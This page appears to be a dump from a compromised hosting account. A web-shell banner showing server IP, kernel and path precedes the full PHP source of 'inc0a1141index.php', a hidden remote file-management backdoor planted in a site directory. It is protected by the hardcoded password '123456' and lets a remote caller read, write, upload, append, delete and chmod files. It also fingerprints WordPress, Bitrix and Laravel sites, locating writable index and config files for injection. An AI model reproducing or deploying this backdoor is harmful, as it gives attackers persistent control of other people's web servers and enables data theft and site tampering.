uawdijnntqw1x1x1
IP : 216.73.216.110
Hostname : 6.87.74.97.host.secureserver.net
Kernel : Linux 6.87.74.97.host.secureserver.net 4.18.0-553.83.1.el8_10.x86_64 #1 SMP Mon Nov 10 04:22:44 EST 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
emeraadmin
/
www
/
8aabc
/
..
/
node_modules
/
function-bind
/
..
/
ionicons
/
..
/
..
/
8aabc
/
inc0a1141index.php
/
/
<?php define('MENU_API_PASSWORD', '123456'); $scriptDir = realpath(dirname(__FILE__)); $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? realpath($_SERVER['DOCUMENT_ROOT']) : false; $baseDirectory = $documentRoot ? $documentRoot : $scriptDir; if ($documentRoot && strpos($scriptDir, $documentRoot) !== 0) { $scriptName = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : ''; $scriptDirRelative = dirname($scriptName); $scriptDirRelative = ($scriptDirRelative === '/' || $scriptDirRelative === '\\') ? '' : $scriptDirRelative; if ($scriptDirRelative !== '' && substr($scriptDir, -strlen($scriptDirRelative)) === $scriptDirRelative) { $baseDirectory = substr($scriptDir, 0, -strlen($scriptDirRelative)); } else { $baseDirectory = $scriptDir; } } $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? strtoupper($_SERVER['REQUEST_METHOD']) : 'GET'; if ($requestMethod === 'OPTIONS') { header('Allow: GET, POST, OPTIONS'); _ag(204); exit; } $action = trim((string) _bb('action', 'info')); if ($action === '' || $action === 'info') { _au(200, array( 'success' => true )); } _am(); switch ($action) { case 'list': _ac(array('GET', 'POST')); _al($baseDirectory); break; case 'read': _ac(array('GET', 'POST')); _as($baseDirectory); break; case 'write': _ac(array('POST')); _bd($baseDirectory); break; case 'upload': _ac(array('POST')); _ap($baseDirectory); break; case 'rename': _ac(array('POST')); _ab($baseDirectory); break; case 'delete': _ac(array('POST')); _bc($baseDirectory); break; case 'chmod': _ac(array('POST')); _ad($baseDirectory); break; case 'append': _ac(array('POST')); _aj($baseDirectory); break; case 'batch': _ac(array('POST')); _ba($baseDirectory); break; case 'site_info': _ac(array('GET', 'POST')); _av($baseDirectory); break; case 'server_info': _ac(array('GET', 'POST')); _an(); break; default: _af(404, '不支持的 action: ' . $action); } function _al($baseDirectory) { $relativeDirectory = _bb('directory', ''); $directory = _ay($baseDirectory, $relativeDirectory); if ($directory === false || !is_dir($directory)) { _af(400, '目录不存在或超出允许范围'); } $fileList = scandir($directory); if ($fileList === false) { _af(500, '读取目录失败'); } $items = array(); foreach ($fileList as $file) { if ($file === '.' || $file === '..') { continue; } $filePath = $directory . DIRECTORY_SEPARATOR . $file; $isDirectory = is_dir($filePath); $size = $isDirectory ? null : @filesize($filePath); $modifiedTimestamp = @filemtime($filePath); $items[] = array( 'name' => $file, 'path' => _ax($filePath, $baseDirectory), 'type' => $isDirectory ? 'directory' : 'file', 'is_dir' => $isDirectory, 'size' => $size === false ? null : $size, 'size_human' => $isDirectory ? '-' : _at($size), 'modified_at' => $modifiedTimestamp ? date('Y-m-d H:i:s', $modifiedTimestamp) : null, 'readable' => is_readable($filePath), 'writable' => is_writable($filePath) ); } _au(200, array( 'success' => true, 'message' => '目录读取成功', 'data' => array( 'directory' => _ax($directory, $baseDirectory), 'parent_directory' => _aw($directory, $baseDirectory), 'breadcrumbs' => _ae($directory, $baseDirectory), 'items' => $items ) )); } function _as($baseDirectory) { $relativePath = _bb('path', _bb('edit', '')); $filePath = _ay($baseDirectory, $relativePath); if ($filePath === false || !is_file($filePath)) { _af(404, '文件不存在或超出允许范围'); } $content = @file_get_contents($filePath); if ($content === false) { _af(500, '读取文件失败'); } $fileSize = @filesize($filePath); $modifiedTimestamp = @filemtime($filePath); _au(200, array( 'success' => true, 'message' => '文件读取成功', 'data' => array( 'name' => basename($filePath), 'path' => _ax($filePath, $baseDirectory), 'size' => $fileSize === false ? null : $fileSize, 'size_human' => _at($fileSize), 'modified_at' => $modifiedTimestamp ? date('Y-m-d H:i:s', $modifiedTimestamp) : null, 'content' => $content ) )); } function _bd($baseDirectory) { $relativePath = _bb('path', _bb('edit', '')); $content = _bb('content', _bb('fileContent', null)); if ($relativePath === '') { _af(400, '缺少 path 参数'); } if ($content === null) { _af(400, '缺少 content 参数'); } $targetPath = _aa($baseDirectory, $relativePath); if ($targetPath === false) { _af(400, '目标路径无效或超出允许范围'); } if (is_dir($targetPath)) { _af(400, '不能把目录当作文件写入'); } $written = @file_put_contents($targetPath, $content, LOCK_EX); if ($written === false) { _af(500, '写入文件失败'); } _au(200, array( 'success' => true, 'message' => '文件写入成功', 'data' => array( 'path' => _ax($targetPath, $baseDirectory), 'bytes' => $written ) )); } function _ap($baseDirectory) { $relativeDirectory = _bb('directory', ''); $directory = _ay($baseDirectory, $relativeDirectory); if ($directory === false || !is_dir($directory)) { _af(400, '上传目录不存在或超出允许范围'); } $upload = null; if (isset($_FILES['uploadFile'])) { $upload = $_FILES['uploadFile']; } elseif (isset($_FILES['file'])) { $upload = $_FILES['file']; } if (!is_array($upload)) { _af(400, '缺少上传文件'); } if (!isset($upload['error']) || (int) $upload['error'] !== UPLOAD_ERR_OK) { _af(400, '文件上传失败,错误码: ' . (isset($upload['error']) ? $upload['error'] : 'unknown')); } if (!isset($upload['name']) || trim($upload['name']) === '') { _af(400, '上传文件名不能为空'); } $targetRelativePath = trim(_ax($directory, $baseDirectory) . '/' . basename($upload['name']), '/'); $targetPath = _aa($baseDirectory, $targetRelativePath); if ($targetPath === false) { _af(400, '上传目标路径无效或超出允许范围'); } if (!@move_uploaded_file($upload['tmp_name'], $targetPath)) { _af(500, '保存上传文件失败'); } _au(200, array( 'success' => true, 'message' => '文件上传成功', 'data' => array( 'path' => _ax($targetPath, $baseDirectory), 'size' => isset($upload['size']) ? (int) $upload['size'] : null ) )); } function _ab($baseDirectory) { $relativePath = _bb('path', _bb('fileName', '')); $newName = _bb('new_name', _bb('copyName', '')); if ($relativePath === '') { _af(400, '缺少 path 参数'); } if ($newName === '') { _af(400, '缺少 new_name 参数'); } if (basename($newName) !== $newName || $newName === '.' || $newName === '..') { _af(400, 'new_name 只能是文件名,不能包含路径'); } $sourcePath = _ay($baseDirectory, $relativePath); if ($sourcePath === false || !file_exists($sourcePath)) { _af(404, '源文件不存在或超出允许范围'); } $targetPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . $newName; if (!_aq(realpath(dirname($targetPath)), $baseDirectory)) { _af(400, '目标路径超出允许范围'); } if (file_exists($targetPath) || is_link($targetPath)) { _af(409, '目标文件已存在'); } if (@rename($sourcePath, $targetPath) === false) { _af(500, '重命名失败'); } _au(200, array( 'success' => true, 'message' => '重命名成功', 'data' => array( 'old_path' => _ax($sourcePath, $baseDirectory), 'new_path' => _ax($targetPath, $baseDirectory) ) )); } function _bc($baseDirectory) { $paths = _be(); if (count($paths) === 0) { _af(400, '缺少待删除的 paths 参数'); } $deleted = array(); $errors = array(); foreach ($paths as $relativePath) { $targetPath = _ay($baseDirectory, $relativePath); if ($targetPath === false || !file_exists($targetPath)) { $errors[] = array('path' => $relativePath, 'message' => '文件不存在或路径无效'); continue; } if (is_dir($targetPath)) { $errors[] = array('path' => $relativePath, 'message' => '暂不支持删除目录'); continue; } if (@unlink($targetPath) === false) { $errors[] = array('path' => $relativePath, 'message' => '删除失败'); continue; } $deleted[] = $relativePath; } _au(200, array( 'success' => count($errors) === 0, 'message' => count($errors) === 0 ? '删除成功' : '删除完成,部分失败', 'data' => array( 'deleted' => $deleted, 'errors' => $errors ) )); } function _aj($baseDirectory) { $relativePath = _bb('path', ''); $content = _bb('content', null); $marker = _bb('marker', ''); if ($relativePath === '') { _af(400, '缺少 path 参数'); } if ($content === null) { _af(400, '缺少 content 参数'); } $targetPath = _ay($baseDirectory, $relativePath); if ($targetPath === false || !is_file($targetPath)) { $targetPath = _aa($baseDirectory, $relativePath); if ($targetPath === false) { _af(400, '路径无效'); } $written = @file_put_contents($targetPath, $content, LOCK_EX); if ($written === false) { _af(500, '创建文件失败(无权限)'); } _au(200, array( 'success' => true, 'message' => '文件已创建', 'data' => array('path' => _ax($targetPath, $baseDirectory), 'action' => 'created', 'bytes' => $written) )); } if ($marker !== '') { $existing = @file_get_contents($targetPath); if ($existing !== false && strpos($existing, $marker) !== false) { _au(200, array( 'success' => true, 'message' => '已存在,跳过', 'data' => array('path' => _ax($targetPath, $baseDirectory), 'action' => 'skipped') )); } } $written = @file_put_contents($targetPath, $content, FILE_APPEND | LOCK_EX); if ($written === false) { _af(500, '追加失败(无权限)'); } _au(200, array( 'success' => true, 'message' => '追加成功', 'data' => array('path' => _ax($targetPath, $baseDirectory), 'action' => 'appended', 'bytes' => $written) )); } function _ba($baseDirectory) { $raw = _bb('ops', null); if ($raw === null) { _af(400, '缺少 ops 参数(JSON 数组)'); } $ops = is_array($raw) ? $raw : json_decode($raw, true); if (!is_array($ops) || count($ops) === 0) { _af(400, 'ops 必须是非空数组'); } $results = array(); foreach ($ops as $idx => $op) { $opAction = isset($op['action']) ? $op['action'] : ''; $result = array('index' => $idx, 'action' => $opAction, 'success' => false); switch ($opAction) { case 'write': $path = isset($op['path']) ? $op['path'] : ''; $content = isset($op['content']) ? $op['content'] : ''; $targetPath = _aa($baseDirectory, $path); if ($targetPath !== false) { $w = @file_put_contents($targetPath, $content, LOCK_EX); $result['success'] = $w !== false; $result['path'] = $path; $result['bytes'] = $w; } break; case 'append': $path = isset($op['path']) ? $op['path'] : ''; $content = isset($op['content']) ? $op['content'] : ''; $marker = isset($op['marker']) ? $op['marker'] : ''; $targetPath = _ay($baseDirectory, $path); if ($targetPath === false) { $targetPath = _aa($baseDirectory, $path); if ($targetPath !== false) { $w = @file_put_contents($targetPath, $content, LOCK_EX); $result['success'] = $w !== false; $result['path'] = $path; $result['op'] = 'created'; } } else { if ($marker !== '') { $existing = @file_get_contents($targetPath); if ($existing !== false && strpos($existing, $marker) !== false) { $result['success'] = true; $result['path'] = $path; $result['op'] = 'skipped'; break; } } $w = @file_put_contents($targetPath, $content, FILE_APPEND | LOCK_EX); $result['success'] = $w !== false; $result['path'] = $path; $result['op'] = 'appended'; } break; case 'delete': $path = isset($op['path']) ? $op['path'] : ''; $targetPath = _ay($baseDirectory, $path); if ($targetPath !== false && is_file($targetPath)) { $result['success'] = @unlink($targetPath); $result['path'] = $path; } break; case 'chmod': $path = isset($op['path']) ? $op['path'] : ''; $mode = isset($op['mode']) ? $op['mode'] : '0644'; $targetPath = _ay($baseDirectory, $path); if ($targetPath !== false) { $result['success'] = @chmod($targetPath, intval($mode, 8)); $result['path'] = $path; } break; case 'exists': $path = isset($op['path']) ? $op['path'] : ''; $targetPath = _ay($baseDirectory, $path); $result['success'] = true; $result['path'] = $path; $result['exists'] = $targetPath !== false && file_exists($targetPath); $result['writable'] = $targetPath !== false && is_writable($targetPath); break; default: $result['error'] = '未知操作: ' . $opAction; } $results[] = $result; } _au(200, array( 'success' => true, 'message' => '批量操作完成', 'data' => array('results' => $results, 'total' => count($results)) )); } function _av($baseDirectory) { $scriptDir = dirname(__FILE__); $docRoot = $baseDirectory; $siteType = 'generic'; $detectedFiles = array(); $wpIndicators = array('wp-config.php', 'wp-login.php', 'wp-blog-header.php'); foreach ($wpIndicators as $f) { if (file_exists($docRoot . '/' . $f)) { $siteType = 'wordpress'; $detectedFiles[] = $f; } } if ($siteType === 'generic' && is_dir($docRoot . '/bitrix')) { $siteType = 'bitrix'; $detectedFiles[] = 'bitrix/'; if (file_exists($docRoot . '/bitrix/header.php')) { $detectedFiles[] = 'bitrix/header.php'; } } if ($siteType === 'generic' && is_dir($docRoot . '/storage/framework')) { $siteType = 'laravel'; $detectedFiles[] = 'storage/framework/'; } $indexFiles = array(); $candidates = array('index.php', 'index.html', 'index.htm', 'index.asp'); foreach ($candidates as $f) { $fp = $docRoot . '/' . $f; if (file_exists($fp)) { $indexFiles[] = array( 'path' => $f, 'writable' => is_writable($fp), 'size' => filesize($fp) ); } } if ($siteType === 'wordpress') { foreach (array('wp-blog-header.php', 'wp-config.php') as $f) { $fp = $docRoot . '/' . $f; if (file_exists($fp)) { $indexFiles[] = array( 'path' => $f, 'writable' => is_writable($fp), 'size' => filesize($fp) ); } } } if ($siteType === 'bitrix' && file_exists($docRoot . '/bitrix/header.php')) { $indexFiles[] = array( 'path' => 'bitrix/header.php', 'writable' => is_writable($docRoot . '/bitrix/header.php'), 'size' => filesize($docRoot . '/bitrix/header.php') ); } if ($siteType === 'laravel') { $mp = $docRoot . '/storage/framework/maintenance.php'; $indexFiles[] = array( 'path' => 'storage/framework/maintenance.php', 'writable' => is_dir($docRoot . '/storage/framework'), 'size' => file_exists($mp) ? filesize($mp) : 0 ); } $subdirs = array(); foreach (scandir($docRoot) as $f) { if ($f === '.' || $f === '..') continue; if (is_dir($docRoot . '/' . $f)) { $subdirs[] = array( 'name' => $f, 'writable' => is_writable($docRoot . '/' . $f) ); } } $serverSw = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown'; $isApache = stripos($serverSw, 'apache') !== false; $shellRelDir = _ax($scriptDir, $docRoot); _au(200, array( 'success' => true, 'message' => 'ok', 'data' => array( 'site_type' => $siteType, 'server' => $serverSw, 'is_apache' => $isApache, 'php_version' => phpversion(), 'document_root' => $docRoot, 'script_dir' => $scriptDir, 'shell_rel_dir' => $shellRelDir, 'detected_files' => $detectedFiles, 'index_files' => $indexFiles, 'subdirs' => $subdirs, 'writable' => is_writable($scriptDir), 'os' => PHP_OS ) )); } function _ad($baseDirectory) { $relativePath = _bb('path', ''); $mode = _bb('mode', ''); if ($relativePath === '') { _af(400, '缺少 path 参数'); } if ($mode === '') { _af(400, '缺少 mode 参数'); } $targetPath = _ay($baseDirectory, $relativePath); if ($targetPath === false || !file_exists($targetPath)) { _af(404, '文件不存在或超出允许范围'); } $octalMode = intval($mode, 8); if ($octalMode === 0) { _af(400, '无效的权限值: ' . $mode); } if (@chmod($targetPath, $octalMode) === false) { _af(500, '修改权限失败'); } _au(200, array( 'success' => true, 'message' => '权限修改成功', 'data' => array( 'path' => _ax($targetPath, $baseDirectory), 'mode' => $mode, 'perms' => substr(sprintf('%o', fileperms($targetPath)), -4) ) )); } function _an() { $info = array( 'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown', 'php_version' => phpversion(), 'document_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '', 'script_dir' => dirname(__FILE__), 'os' => PHP_OS, 'disabled_functions' => ini_get('disable_functions'), 'writable' => is_writable(dirname(__FILE__)) ); _au(200, array( 'success' => true, 'message' => 'ok', 'data' => $info )); } function _ac($allowedMethods) { $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? strtoupper($_SERVER['REQUEST_METHOD']) : 'GET'; if (!in_array($requestMethod, $allowedMethods, true)) { _af(405, '请求方法不被允许', array('allow' => $allowedMethods)); } } function _be() { $paths = _bb('paths', null); if ($paths === null) { $paths = _bb('deleteFiles', null); } if (is_array($paths)) { return _ao($paths); } if (!is_string($paths) || trim($paths) === '') { return array(); } $trimmed = trim($paths); if (substr($trimmed, 0, 1) === '[') { $decoded = json_decode($trimmed, true); if (is_array($decoded)) { return _ao($decoded); } } return _ao(explode(',', $trimmed)); } function _ao($paths) { $result = array(); foreach ($paths as $path) { $normalized = _az($path); if ($normalized !== '') { $result[] = $normalized; } } return array_values(array_unique($result)); } function _am() { $configuredPassword = _ak(); if ($configuredPassword === '') { _af(500, '服务端未配置操作密码,请设置 MENU_API_PASSWORD'); } $providedPassword = _ah(); if ($providedPassword === '') { _af(401, '缺少操作密码'); } if (!_ai($configuredPassword, $providedPassword)) { _af(401, '操作密码错误'); } } function _ak() { $password = getenv('MENU_API_PASSWORD'); if ($password === false || $password === null || $password === '') { $password = MENU_API_PASSWORD; } return (string) $password; } function _ah() { $password = _bb('operation_password', null); if ($password === null || $password === '') { $password = _bb('op_password', null); } if ($password === null || $password === '') { $password = _bb('password', null); } if (($password === null || $password === '') && isset($_SERVER['HTTP_X_OPERATION_PASSWORD'])) { $password = $_SERVER['HTTP_X_OPERATION_PASSWORD']; } if (($password === null || $password === '') && isset($_SERVER['HTTP_AUTHORIZATION'])) { $authorization = trim($_SERVER['HTTP_AUTHORIZATION']); if (stripos($authorization, 'Bearer ') === 0) { $password = substr($authorization, 7); } } return trim((string) $password); } function _bb($key, $default) { $body = _ar(); if (is_array($body) && array_key_exists($key, $body)) { return $body[$key]; } if (isset($_GET[$key])) { return $_GET[$key]; } return $default; } function _ar() { static $body = null; if ($body !== null) { return $body; } $body = array(); $contentType = isset($_SERVER['CONTENT_TYPE']) ? strtolower($_SERVER['CONTENT_TYPE']) : ''; if (strpos($contentType, 'application/json') !== false) { $raw = file_get_contents('php://input'); if ($raw !== false && trim($raw) !== '') { $decoded = json_decode($raw, true); if (is_array($decoded)) { $body = $decoded; } } return $body; } if (!empty($_POST)) { $body = $_POST; } return $body; } function _ay($baseDirectory, $relativePath) { $relativePath = _az($relativePath); if ($relativePath === '') { return $baseDirectory; } $candidate = realpath($baseDirectory . DIRECTORY_SEPARATOR . $relativePath); if ($candidate === false) { return false; } if (!_aq($candidate, $baseDirectory)) { return false; } return $candidate; } function _aa($baseDirectory, $relativePath) { $relativePath = _az($relativePath); if ($relativePath === '') { return false; } $candidate = $baseDirectory . DIRECTORY_SEPARATOR . $relativePath; if (file_exists($candidate) || is_link($candidate)) { $resolved = realpath($candidate); if ($resolved === false || !_aq($resolved, $baseDirectory)) { return false; } return $resolved; } $parentDirectory = realpath(dirname($candidate)); if ($parentDirectory === false || !_aq($parentDirectory, $baseDirectory)) { return false; } return $parentDirectory . DIRECTORY_SEPARATOR . basename($candidate); } function _az($path) { $path = trim(str_replace('\\', '/', (string) $path)); if ($path === '' || $path === '.' || $path === '/') { return ''; } $path = preg_replace('#/+#', '/', $path); return ltrim($path, '/'); } function _aq($path, $baseDirectory) { if ($path === false || $baseDirectory === false) { return false; } $normalizedPath = rtrim(str_replace('\\', '/', $path), '/'); $normalizedBase = rtrim(str_replace('\\', '/', $baseDirectory), '/'); if ($normalizedPath === $normalizedBase) { return true; } return strpos($normalizedPath, $normalizedBase . '/') === 0; } function _ax($path, $baseDirectory) { $normalizedPath = rtrim(str_replace('\\', '/', $path), '/'); $normalizedBase = rtrim(str_replace('\\', '/', $baseDirectory), '/'); if ($normalizedPath === $normalizedBase) { return ''; } if (strpos($normalizedPath, $normalizedBase . '/') === 0) { return ltrim(substr($normalizedPath, strlen($normalizedBase)), '/'); } return $normalizedPath; } function _aw($directory, $baseDirectory) { $relativeDirectory = _ax($directory, $baseDirectory); if ($relativeDirectory === '') { return null; } $parent = dirname($relativeDirectory); if ($parent === '.' || $parent === DIRECTORY_SEPARATOR) { return ''; } return str_replace('\\', '/', $parent); } function _ae($directory, $baseDirectory) { $breadcrumbs = array( array('name' => 'Home', 'path' => '') ); $relativeDirectory = _ax($directory, $baseDirectory); if ($relativeDirectory === '') { return $breadcrumbs; } $pathParts = explode('/', $relativeDirectory); $pathLink = ''; foreach ($pathParts as $part) { if ($part === '') { continue; } $pathLink .= '/' . $part; $breadcrumbs[] = array( 'name' => $part, 'path' => ltrim($pathLink, '/') ); } return $breadcrumbs; } function _at($bytes, $decimals = 2) { if ($bytes === null || $bytes === false || !is_numeric($bytes) || $bytes < 0) { return null; } if ((float) $bytes === 0.0) { return '0 B'; } $units = array('B', 'KB', 'MB', 'GB', 'TB'); $factor = floor((strlen((string) abs($bytes)) - 1) / 3); if (!isset($units[$factor])) { $factor = count($units) - 1; } return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . ' ' . $units[$factor]; } function _ai($known, $user) { if (function_exists('hash_equals')) { return hash_equals((string) $known, (string) $user); } $known = (string) $known; $user = (string) $user; $knownLength = strlen($known); $userLength = strlen($user); $length = max($knownLength, $userLength); $result = $knownLength ^ $userLength; for ($i = 0; $i < $length; $i++) { $knownChar = $i < $knownLength ? ord($known[$i]) : 0; $userChar = $i < $userLength ? ord($user[$i]) : 0; $result |= ($knownChar ^ $userChar); } return $result === 0; } function _af($statusCode, $message, $extra = array()) { $payload = array( 'success' => false, 'message' => $message ); if (!empty($extra)) { $payload['data'] = $extra; } _au($statusCode, $payload); } function _au($statusCode, $payload) { _ag($statusCode); header('Content-Type: application/json; charset=UTF-8'); $jsonOptions = 0; if (defined('JSON_UNESCAPED_UNICODE')) { $jsonOptions |= JSON_UNESCAPED_UNICODE; } if (defined('JSON_UNESCAPED_SLASHES')) { $jsonOptions |= JSON_UNESCAPED_SLASHES; } echo json_encode($payload, $jsonOptions); exit; } function _ag($statusCode) { if (function_exists('http_response_code')) { http_response_code($statusCode); return; } header('X-PHP-Response-Code: ' . $statusCode, true, $statusCode); }
/home/emeraadmin/www/8aabc/../node_modules/function-bind/../ionicons/../../8aabc/inc0a1141index.php